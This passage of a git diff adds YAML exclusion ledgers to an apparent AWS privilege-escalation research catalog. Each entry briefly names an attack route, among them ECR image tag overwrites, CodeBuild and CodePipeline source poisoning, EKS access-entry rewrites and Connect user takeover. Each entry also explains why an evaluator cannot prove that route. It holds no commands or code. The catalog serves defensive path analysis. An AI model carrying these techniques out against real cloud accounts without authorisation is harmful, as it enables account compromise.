+ an attacker-controlled readable image or artifact in that version, an actual EventBridge + rule or CI/CD pipeline that selects the new Approved version, and a deployed endpoint or + job with a known execution role. The collector lists groups and Approved versions but not + the consumer automation, selected version or target role. The evaluator supports + consumer_input_writable_via only for Image Builder, so a group-level permission alone + cannot prove this route.' + prior_id: aws-sagemaker-createmodelpackage-approved-autodeploy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#s3putobject-on-a-configured-s3-source-codebuildstartbuild-optional + source_revision: 171e422299 + technique: Replace the S3 source object of a CodeBuild project + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codebuild-s3-source-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchchecklayeravailability-ecrbatchgetimage-ecrcompletelayerupload-ecrinitiatelayerupload-ecrputimage-ecruploadlayerpart + source_revision: 171e422299 + technique: Push an image over a mutable tag consumed by a workload with a role + reason: 'The ecr:PutImage source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-push-consumed-tag +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecr-publicgetauthorizationtoken-stsgetservicebearertoken-ecr-publicbatchchecklayeravailability-ecr-publiccompletelayerupload-ecr-publicinitiatelayerupload-ecr-publicputimage-ecr-publicuploadlayerpart + source_revision: 171e422299 + technique: Push to an ECR Public repository consumed by workloads with roles + reason: 'The ecr-public:PutImage source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-public-push-consumed-image +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrsetrepositorypolicy--self-grant-private-image-access + source_revision: 171e422299 + technique: Rewrite a private repository policy to grant the source push access + reason: 'The ecr:SetRepositoryPolicy source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-setrepositorypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecr-publicsetrepositorypolicy + source_revision: 171e422299 + technique: Rewrite an ECR Public repository policy to grant the source push access + reason: 'The ecr-public:SetRepositoryPolicy source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-public-setrepositorypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputregistrypolicy + source_revision: 171e422299 + technique: Rewrite the registry policy to grant the source push access to all repositories + reason: 'The ecr:PutRegistryPolicy source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-putregistrypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrcreatepullthroughcacherule + source_revision: 171e422299 + technique: Map a trusted private repository prefix (or ROOT) to an upstream the source controls + reason: 'The ecr:CreatePullThroughCacheRule source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-createpullthroughcacherule +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputimagetagmutability + source_revision: 171e422299 + technique: Make an immutable repository mutable and overwrite a consumed tag + reason: 'The ecr:PutImage source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-putimagetagmutability +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#trojanize-an-existing-custom-test-specification + source_revision: 171e422299 + technique: Replace the content of a custom test specification used by privileged runs + reason: 'The devicefarm:UpdateUpload source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-devicefarm-updateupload-test-spec +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommitgitpush-on-a-codepipeline-source-repository + source_revision: 6fb9ac51fd + technique: Push to a CodeCommit repository branch used as a pipeline source + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-pipeline-source +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommitgitpush-on-a-codepipeline-source-repository + source_revision: 6fb9ac51fd + technique: Push to a CodeCommit branch used as the source of a CloudFormation-deploying pipeline + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-pipeline-source-cloudformation-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#push-a-codecommit-source-revision-executed-by-a-codebuild-project + source_revision: b587e6bd26 + technique: Push a CodeCommit source revision executed by a CodeBuild project + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-codebuild-source +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#s3putobject-on-a-configured-s3-source-codepipelinestartpipelineexecution-optional + source_revision: 171e422299 + technique: Replace the S3 source object of a pipeline + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codepipeline-s3-source-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#s3putobject-on-a-configured-s3-source-codepipelinestartpipelineexecution-optional + source_revision: 6fb9ac51fd + technique: Replace the S3 source object of a pipeline that deploys through CloudFormation + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codepipeline-s3-source-poisoning-cloudformation-role diff --git a/src/privilege-escalation-paths-research/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..11824f3d4a --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml @@ -0,0 +1,40 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/consumer-semantics-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codedeploy-privesc/README.md#codedeploycreatedeployment--dependent-actions + source_revision: 171e422299 + technique: Deploy a controlled revision to an existing EC2/on-premises deployment group + reason: CreateDeployment and RegisterApplicationRevision do not prove the source controls a + revision that the target hosts download; artifact control is only a prose condition. + prior_id: aws-codedeploy-createdeployment-instance-roles +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#poison-a-secrets_manager-or-parameter_store-environment-value + source_revision: 6fb9ac51fd + technique: Overwrite a Parameter Store value consumed as a CodeBuild environment variable + reason: The writable parameter is joined to a build, but no reviewed buildspec/consumer behavior + proves its value executes code or yields role credentials; the effect can be configuration + poisoning only. + prior_id: aws-codebuild-env-parameter-store-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#poison-a-secrets_manager-or-parameter_store-environment-value + source_revision: 6fb9ac51fd + technique: Overwrite a Secrets Manager value consumed as a CodeBuild environment variable + reason: The writable secret is joined to a build, but no reviewed buildspec/consumer behavior + proves its value executes code or yields role credentials; the effect can be configuration + poisoning only. + prior_id: aws-codebuild-env-secretsmanager-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-the-root-volume-of-an-existing-role-bearing-ec2-instance + source_revision: b587e6bd26 + technique: Replace the root volume of an existing role-bearing EC2 instance + reason: CreateReplaceRootVolumeTask does not prove the source controls a compatible replacement + AMI/snapshot containing executable payload; that separate artifact foothold is a prose condition. + prior_id: aws-ec2-createreplacerootvolumetask-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkupdateenvironment + source_revision: 171e422299 + technique: Inject runtime-influencing environment properties into an existing environment + reason: UpdateEnvironment alone does not prove the runtime interprets the chosen environment + value as code or that source-controlled executable content is available to the instances. + prior_id: aws-elasticbeanstalk-updateenvironment-env-injection +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaupdatefunctionconfiguration + source_revision: 171e422299 + technique: Change environment variables or layers of an existing Lambda to execute code + reason: UpdateFunctionConfiguration alone does not prove a runtime-specific injection executes + or that the source can publish/attach an executable wrapper layer; those requirements are + unmodeled. + prior_id: aws-lambda-updatefunctionconfiguration diff --git a/src/privilege-escalation-paths-research/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..cd312abb4d --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml @@ -0,0 +1,76 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/effective-gain-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#queue-role-credential-vending + source_revision: 171e422299 + technique: Obtain the role credentials of an existing queue + reason: The queue membership and level needed to vend this exact queue role are not joined to + the source; IAM permission plus role attachment alone is insufficient. + prior_id: aws-deadline-assumequeueroleforuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker + source_revision: 6fb9ac51fd + technique: Register a logical worker on an existing customer-managed fleet and vend its fleet + role + reason: The target role may be a queue role, and no exact customer-managed fleet, source worker + registration or fleet-to-role join is proved. + prior_id: aws-deadline-createworker-assumefleetroleforworker-existing-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputuserpermissionsboundary + source_revision: 171e422299 + technique: Replace or remove the permissions boundary of the source user + reason: Deleting or replacing a boundary is a permission gain only if a restrictive boundary + currently limits broader identity policies; that before/after effective permission is not + evaluated. + prior_id: aws-iam-putuserpermissionsboundary-self +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 171e422299 + technique: Replace or remove the permissions boundary of the source role + reason: Deleting or replacing a role boundary is a permission gain only if it currently limits + broader role policies; that before/after effective permission is not evaluated. + prior_id: aws-iam-putrolepermissionsboundary-self +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 171e422299 + technique: Move another user into an IAM path where the source's credential permissions already + apply + reason: No exact new user ARN/path is selected and authorized for both UpdateUser and credential + creation; the evaluator only checks an unrelated wildcard path. + prior_id: aws-iam-updateuser-path-move +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 171e422299 + technique: Move a group into an IAM path where the source can add members + reason: No exact new group ARN/path is selected and authorized for both UpdateGroup and AddUserToGroup; + the evaluator only checks some group path. + prior_id: aws-iam-updategroup-path-move +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 6fb9ac51fd + technique: Move the source user into an IAM path where it can edit user policies + reason: No exact post-move source ARN is proven to satisfy both UpdateUser and self policy-edit + authorization; the evaluator checks any user path. + prior_id: aws-iam-updateuser-path-move-self-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 6fb9ac51fd + technique: Move one of the source's groups into an IAM path where it can edit group policies + reason: No exact post-move group ARN is proven to satisfy both UpdateGroup and policy-edit authorization; + the evaluator checks any group path. + prior_id: aws-iam-updategroup-path-move-self-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 6fb9ac51fd + technique: Replace or remove the permissions boundary of a role the source can assume + reason: The assumable role may have no restrictive boundary or admin-equivalent policy behind + it; no exact before/after effective permission proof supports account-admin. + prior_id: aws-iam-rolepermissionsboundary-assumable-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#impersonate-a-saml-connect-user-with-a-controllable-role-session-name + source_revision: 171e422299 + technique: Impersonate a SAML Connect user by choosing the role-session name + reason: GetFederationToken does not prove the source controls a SAML federation role session + with the victim case-sensitive username or that victim holds Connect Admin. + prior_id: aws-connect-saml-session-name-impersonation +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#take-over-a-connect-managed-user-through-updateuseridentityinfo + source_revision: 171e422299 + technique: Take over a Connect-managed user by changing its email + reason: UpdateUserIdentityInfo can change an arbitrary user email but no exact source-controlled + mailbox/sign-in or Admin-profile victim mapping is proved. + prior_id: aws-connect-updateuseridentityinfo-takeover +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifybackendgettoken--recover-a-live-studio-login + source_revision: 171e422299 + technique: Recover a live Amplify Studio administrator login + reason: GetToken requires an existing live Studio session id known to the source; no collected + exact token/session or credential usability is joined to the app. + prior_id: aws-amplifybackend-gettoken-studio-admin diff --git a/src/privilege-escalation-paths-research/aws/_excluded_eks_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_eks_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..6fd716bb17 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_eks_strict_reaudit_20261016.yaml @@ -0,0 +1,47 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/eks-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreateaccessentry-alone--join-an-existing-privileged-kubernetes-group + source_revision: 171e422299 + technique: Create an EKS access entry that places the source in an existing privileged + Kubernetes group + reason: No joined Kubernetes RBAC binding proves the chosen custom group grants + cluster-admin; access-entry creation alone authenticates but does not establish + authorization. + prior_id: aws-eks-createaccessentry-privileged-kubernetes-group +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdateaccessentry--escalate-an-access-entry-that-already-exists + source_revision: 171e422299 + technique: Rewrite the Kubernetes groups of an existing EKS access entry + reason: The edited access entry is not proved to name a principal the source controls, + and no joined Kubernetes RBAC binding proves the selected group grants cluster-admin. + prior_id: aws-eks-updateaccessentry-kubernetes-groups +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreatepodidentityassociation-iampassrole-iamgetrole--bind-an-aws-role-to-a-namespace-you-control + source_revision: 171e422299 + technique: Bind a passable role to a Kubernetes service account through EKS Pod + Identity + reason: CreatePodIdentityAssociation and PassRole configure a Kubernetes ServiceAccount; + source pod execution/control and the exact association-to-role credential path + are not evaluated. + prior_id: aws-eks-createpodidentityassociation-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdatepodidentityassociation-iampassrole--repoint-an-existing-association-role-swap-cross-account-chaining-tag-guardrail-bypass + source_revision: 171e422299 + technique: Repoint an existing EKS Pod Identity association to another passable + role + reason: UpdatePodIdentityAssociation changes a workload mapping; the source is not + proved to control a pod using that association or receive the role credentials. + prior_id: aws-eks-updatepodidentityassociation-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#iampassrole-ekscreatenodegroup--ekscreatefargateprofile--run-pods-on-capacity-you-control + source_revision: 171e422299 + technique: Create a managed node group with a passed node role + reason: CreateNodegroup launches nodes with the role but does not give the source + node code execution or instance-profile credentials; that separate foothold is + only a condition. + prior_id: aws-eks-passrole-createnodegroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksassociateidentityproviderconfig-with-a-matching-privileged-rbac-group + source_revision: b587e6bd26 + technique: Associate an attacker-controlled OIDC identity provider with an EKS cluster + that binds a privileged RBAC group + reason: The source-controlled OIDC tokens are not joined to an existing privileged + Kubernetes group binding; adding the issuer alone does not grant cluster-admin. + Even a proven Kubernetes-admin path reaches another AWS principal only after + joining control of a specific workload service account to an IRSA or Pod Identity + role association, its trust and effective role permissions. + prior_id: aws-eks-associateidentityproviderconfig-privileged-group diff --git a/src/privilege-escalation-paths-research/aws/_excluded_emr_legacy_editors_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_emr_legacy_editors_20261022.yaml new file mode 100644 index 0000000000..b7481c8ff3 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_emr_legacy_editors_20261022.yaml @@ -0,0 +1,9 @@ +# Legacy notebook editor routes need a supported editor and a cluster-role join. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreducecreateeditor-iamlistroles-elasticmapreducelistclusters-iampassrole-elasticmapreducedescribeeditor-elasticmapreduceopeneditorinconsole + source_revision: e0ecce7ba7 + technique: Create and open a legacy EMR notebook on a privileged cluster + reason: AWS has disabled creation of new notebooks in the old console. Passing the notebook service role supports networking and notebook storage, not automatic kernel access to that role. A principal edge requires proof that the legacy editor API still works, a READY editor attached to a compatible cluster, source access to its kernel, the exact cluster instance-profile or runtime role, and an accepted workload. Current inventory does not join these facts. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#legacy-elasticmapreduceopeneditorinconsole-boundary + source_revision: e0ecce7ba7 + technique: Open an existing legacy EMR editor attached to a privileged cluster + reason: OpenEditorInConsole alone is not AWS credential access. A principal edge needs a supported existing editor, exact attached cluster and active kernel, source authorization to the editor, executable notebook access, the cluster's effective instance-profile or runtime role, and a role-authorized effect. Current inventory does not collect this join. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_emrserverless_custom_image_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_emrserverless_custom_image_20261022.yaml new file mode 100644 index 0000000000..fcdaeb9dc9 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_emrserverless_custom_image_20261022.yaml @@ -0,0 +1,5 @@ +# EMR Serverless custom-image substitution needs an exact future workload and role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-serverless-privesc/README.md#emr-serverlessupdateapplication--replace-a-custom-image-for-future-workloads + source_revision: 45ec8dc775 + technique: Replace an EMR Serverless application's custom image for future workloads + reason: UpdateApplication can replace imageConfiguration on an existing application, including some running applications, but the update does not execute the image. A principal edge needs effective UpdateApplication on the exact application, controlled compatible ECR image bytes and service pull access, digest-resolution behavior, a later workload that uses the changed image, its exact execution role and an executable image component. Current inventory does not join these facts. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..59aacea0c5 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml @@ -0,0 +1,57 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/execution-foothold-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistercontainerinstance-ecsderegistercontainerinstance-ecsstarttask-iampassrole + source_revision: 6fb9ac51fd + technique: Register a controlled instance into a cluster and steer tasks onto it + reason: RegisterContainerInstance and StartTask do not prove the source controls a working container + host or can read task credentials; host control is only a prose condition. + prior_id: aws-ecs-registercontainerinstance-starttask +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistercontainerinstance-ecsderegistercontainerinstance-ecsstarttask-iampassrole + source_revision: 6fb9ac51fd + technique: Register a controlled instance into a cluster and let the scheduler place tasks on + it + reason: The source is not proved to control an EC2 host or to receive an existing task; task + placement and host access are only prose conditions. + prior_id: aws-ecs-registercontainerinstance-scheduled-tasks +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#steer-replacement-service-tasks-to-an-attacker-controlled-container-instance + source_revision: b587e6bd26 + technique: Drain or deregister legitimate container instances so service tasks are replaced + onto a controlled instance + reason: Draining nodes does not prove replacement service tasks run on a source-controlled connected + host or expose their credentials. + prior_id: aws-ecs-drain-container-instances-steer-service-tasks +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdatemanagedinstancerole-iampassrole--re-point-an-existing-hybrid-instance-at-a-better-role + source_revision: 171e422299 + technique: Re-point an existing hybrid managed node to a passed role + reason: The role swap changes a hybrid node configuration, but no source-controlled managed + node or readable SSM agent credentials are joined. + prior_id: aws-ssm-passrole-updatemanagedinstancerole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdateservicesetting-iampassrole--hijack-default-host-management-configuration + source_revision: 171e422299 + technique: Set the Default Host Management Configuration role to a passed role + reason: The account-wide role setting does not prove the source can execute on a DHMC-managed + instance and obtain its SSM credentials. + prior_id: aws-ssm-passrole-updateservicesetting-dhmc +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatedbinstance-iampassrole-kms-key-use-permissions + source_revision: 171e422299 + technique: Create an RDS Custom instance with a passed AWSRDSCustom instance profile + reason: Creating a database with a passed role does not prove source code execution or administrative + access on its RDS Custom host. + prior_id: aws-rds-custom-createdbinstance-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs + source_revision: a66f094ede + technique: Launch an instance that joins an ECS cluster to receive task roles + reason: Joining a cluster with a new ECS container instance does not prove that a specific target-role + task is scheduled onto that instance. + prior_id: aws-ec2-runinstances-join-ecs-cluster +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2startbatchjob---run-an-attacker-selected-ad-hoc-s3-job-in-an-application + source_revision: 171e422299 + technique: Run an attacker-selected ad-hoc S3 batch job in an existing M2 application + reason: Starting an existing batch job does not prove that its program executes a source-controlled + command or exposes the runtime role. + prior_id: aws-m2-startbatchjob-adhoc-s3 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#omicsstartrun--iampassrole + source_revision: 171e422299 + technique: Start a HealthOmics workflow run with a passed service role + reason: StartRun and PassRole do not prove the selected workflow executes source-controlled + code; workflow control is only a prose condition. + prior_id: aws-healthomics-passrole-startrun diff --git a/src/privilege-escalation-paths-research/aws/_excluded_finspace_sunset_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_finspace_sunset_20261022.yaml new file mode 100644 index 0000000000..34614f28cb --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_finspace_sunset_20261022.yaml @@ -0,0 +1,6 @@ +# Amazon FinSpace ended support on October 7, 2026; its resources are no longer accessible. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + technique: Create a FinSpace Managed kdb cluster with a passed execution role + reason: AWS states that Amazon FinSpace resources are no longer accessible after October 7, 2026, so CreateKxCluster cannot produce a new role-execution path. The previous active definition remains available through the exact historical catalog binding. + prior_id: aws-finspace-passrole-createkxcluster diff --git a/src/privilege-escalation-paths-research/aws/_excluded_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_foothold_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..de141a3661 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_foothold_strict_reaudit_20261016.yaml @@ -0,0 +1,30 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/foothold-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-iamaddroletoinstanceprofile + source_revision: 171e422299 + technique: Add a role to an instance profile used by an instance the source controls + reason: The caller can place a role in an instance profile, but the graph does not prove it + controls and can execute on an instance using that profile; no usable role credential follows + from the declared actions alone. + prior_id: aws-ec2-passrole-addroletoinstanceprofile +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + technique: Create a Parallel Computing Service (PCS) compute node group with a passed instance + profile + reason: Node group creation starts compute capacity, but the source is not proved to submit + a job or execute on the nodes; that separate foothold is only a prose condition. + prior_id: aws-pcs-passrole-createcomputenodegroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywhereupdateprofile--remove-the-session-policy-boundary + source_revision: 171e422299 + technique: Remove the session-policy restriction of an IAM Roles Anywhere profile + reason: The source is not proved to possess a usable private key and accepted certificate for + the exact profile and role, nor that the removed session policy previously denied a permission; + profile mutation alone grants no caller session. + prior_id: aws-rolesanywhere-updateprofile-remove-session-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywheredeleteattributemapping--putattributemapping--exploit-missing-certificate-tags + source_revision: 6fb9ac51fd + technique: Remove a certificate attribute mapping that a negative role-trust condition relies + on + reason: The source is not proved to possess a usable private key/certificate or that the exact + role trust has the described negative/IfExists condition; mapping mutation alone grants no + credential. + prior_id: aws-rolesanywhere-attributemapping-negative-trust-condition diff --git a/src/privilege-escalation-paths-research/aws/_excluded_gamelift_variants_20261022.yaml b/src/privilege-escalation-paths-research/aws/_excluded_gamelift_variants_20261022.yaml new file mode 100644 index 0000000000..4867132557 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_gamelift_variants_20261022.yaml @@ -0,0 +1,9 @@ +# GameLift fleet variants not proven by the active new-build EC2 fleet route. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + technique: Create a container fleet with a passed role and controlled container group + reason: CreateContainerFleet is a separate API using FleetRoleArn and named container group definitions. The active CreateBuild plus CreateFleet route does not authorize it. A role edge needs a group definition whose image and runtime the source controls, a runnable deployment and the exact role's availability inside that container. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + source_revision: 3b6983e5a8 + technique: Create an EC2 fleet with a passed role and a pre-existing controlled build or script + reason: The active new-build route requires CreateBuild. An existing build or script could be usable without that action only if the source controls its executable bytes or startup path and can select it in an authorized CreateFleet request with the exact passed role. Those artifact-control and request joins are not yet proven. diff --git a/src/privilege-escalation-paths-research/aws/_excluded_generated_scope_20261016.yaml b/src/privilege-escalation-paths-research/aws/_excluded_generated_scope_20261016.yaml new file mode 100644 index 0000000000..ff18a86315 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/_excluded_generated_scope_20261016.yaml @@ -0,0 +1,1141 @@ +# Per-technique exclusion decisions for unproven generated AWS entries. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + technique: aws-amplify-artifact-credential + reason: 'Download E2E artifacts that may contain tokens: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs + technique: aws-amplify-config-credential + reason: 'Read plaintext variables and build-log URLs that may contain credentials: no source IAM action or resource + is declared in requires. The 